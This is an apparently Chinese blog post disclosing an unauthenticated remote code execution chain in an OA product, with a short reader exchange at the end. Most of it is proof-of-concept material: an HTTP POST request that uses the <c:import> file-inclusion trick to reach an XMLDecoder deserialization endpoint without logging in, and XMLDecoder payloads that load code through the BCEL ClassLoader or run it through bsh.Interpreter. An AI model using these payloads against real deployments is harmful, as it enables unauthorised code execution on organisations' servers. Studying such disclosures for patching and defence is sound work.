某凌OA前台无条件RCE(文件包含+XmlDecoder)终章

某凌OA前台无条件RCE(组合利用)

这个其实就是前段时间两个漏洞的结合。

1.SSRF(这里应该叫文件包含)

2.XmlDecoder反序列化

之前写了一个读取密码到后台JNDI的利用方式

这个方法也不是百分百可行,后面在塔王的提醒下发现了一种更为简洁的方式。

看见有师傅在打了,就放出来了。

其实主要还是在于<c:import>这个标签的特性。

之前也有详细介绍过。

<c:import> 标签提供了所有 < jsp:include > 行为标签所具有的功能,同时也允许包含绝对 URL。

举例来说,使用 <c:import> 标签可以包含一个 FTP 服务器中不同的网页内容。

既然提供了include的所有功能,那么也可以直接去包含某些带有漏洞的路径。比如Xmldecoder反序列化的地址:

/sys/search/sys_search_main/sysSearchMain.do?method=editParam

可以利用<c:import>标签进行包含,绕过权限验证。

POC:

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: Host
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
Origin: null
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 2753

var={"body":{"file":"/sys/search/sys_search_main/sysSearchMain.do?method=editParam"}}&fdParemNames=11&fdParameters=<payload>

由于此OA使用的是集成环境,JDK版本为1.7.在请教清水师傅后,可以利用com.sun.org.apache.bcel.internal.util.ClassLoader去加载恶意类。

POC:

<java><void+class%3d"com.sun.org.apache.bcel.internal.util.ClassLoader"><void+method%3d"loadClass"><string></string><void+method%3d"newInstance"></void></void></void></java>

也可以像我这种jb小子一样,去调bsh。因为该系统自带了bsh。

POC:

<java><void class="bsh.Interpreter"><void method="eval"><string>
Java Code
</string>
</void></void></java>

感谢塔王和清水川崎师傅的指点。

本文链接:

https://www.websecuritys.cn/index.php/archives/402/
1 + 2 =
2 评论
    kidChrome 90Windows 10
    2021年05月25日 回复

    "也可以像我这种jb小子一样",海神说笑了...
    看不懂的文章,看不懂的代码,菜弟弟JB小子跟班都算不上

      yuanhaiChrome 90OSX
      2021年05月25日 回复

      @kid 师傅谦虚了,相互学习